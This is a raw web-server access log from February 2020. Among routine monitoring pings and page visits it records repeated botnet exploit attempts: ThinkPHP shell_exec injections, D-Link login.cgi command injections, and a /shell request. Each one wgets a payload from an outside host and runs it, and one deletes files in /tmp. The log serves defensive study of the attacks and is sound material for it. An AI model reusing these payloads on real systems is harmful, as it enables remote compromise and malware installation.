106.54.188.252 - - [09/Feb/2020:17:43:15 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:15 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [09/Feb/2020:17:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [09/Feb/2020:17:44:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
36.85.135.162 - - [09/Feb/2020:17:44:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:17:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.117.234.62 - - [09/Feb/2020:17:50:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.166.94 - - [09/Feb/2020:17:51:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.236.76.95 - - [09/Feb/2020:17:51:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.226.152.154 - - [09/Feb/2020:17:53:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
197.203.0.173 - - [09/Feb/2020:17:54:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.150.57.26 - - [09/Feb/2020:17:57:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [09/Feb/2020:17:58:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.165.46 - - [09/Feb/2020:17:59:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.198.129 - - [09/Feb/2020:17:59:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.4 - - [09/Feb/2020:18:00:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.45.213.174 - - [09/Feb/2020:18:01:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:18:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.43.12.164 - - [09/Feb/2020:18:02:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:18:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.152.58.237 - - [09/Feb/2020:18:07:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:18:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.220.68.4 - - [09/Feb/2020:18:09:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.231 - - [09/Feb/2020:18:11:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.234.227.115 - - [09/Feb/2020:18:13:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:18:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
72.80.79.215 - - [09/Feb/2020:18:14:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:18:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.175.148.141 - - [09/Feb/2020:18:17:16 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [09/Feb/2020:18:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.148.249.77 - - [09/Feb/2020:18:17:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.162.144.86 - - [09/Feb/2020:18:17:57 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [09/Feb/2020:18:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.130.142.16 - - [09/Feb/2020:18:20:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.46.227 - - [09/Feb/2020:18:22:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.162.144.61 - - [09/Feb/2020:18:23:43 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [09/Feb/2020:18:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.80.188.221 - - [09/Feb/2020:18:29:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
27.142.249.93 - - [09/Feb/2020:18:30:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.203.170 - - [09/Feb/2020:18:30:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.76.201.19 - - [09/Feb/2020:18:32:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.151.86.159 - - [09/Feb/2020:18:35:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.221.230.236 - - [09/Feb/2020:18:35:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.176.194.96 - - [09/Feb/2020:18:36:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.51.143 - - [09/Feb/2020:18:37:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.185.253.169 - - [09/Feb/2020:18:38:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:18:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.232.165.108 - - [09/Feb/2020:18:44:15 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [09/Feb/2020:18:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.77.144 - - [09/Feb/2020:18:44:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.230 - - [09/Feb/2020:18:45:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:18:45:03 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:18:45:04 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [09/Feb/2020:18:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.143.155.138 - - [09/Feb/2020:18:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:18:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.212.94.209 - - [09/Feb/2020:18:48:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:18:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.56.151.4 - - [09/Feb/2020:18:51:51 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [09/Feb/2020:18:51:53 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [09/Feb/2020:18:51:53 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [09/Feb/2020:18:51:55 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [09/Feb/2020:18:51:57 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [09/Feb/2020:18:51:57 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [09/Feb/2020:18:51:58 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
212.91.246.72 - - [09/Feb/2020:18:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.213.64 - - [09/Feb/2020:18:55:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.159.50.26 - - [09/Feb/2020:18:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:18:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:18:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [09/Feb/2020:18:59:02 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:18:59:11 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:18:59:20 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [09/Feb/2020:18:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [09/Feb/2020:18:59:48 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
118.68.65.76 - - [09/Feb/2020:18:59:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:19:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [09/Feb/2020:19:00:35 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:19:00:45 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
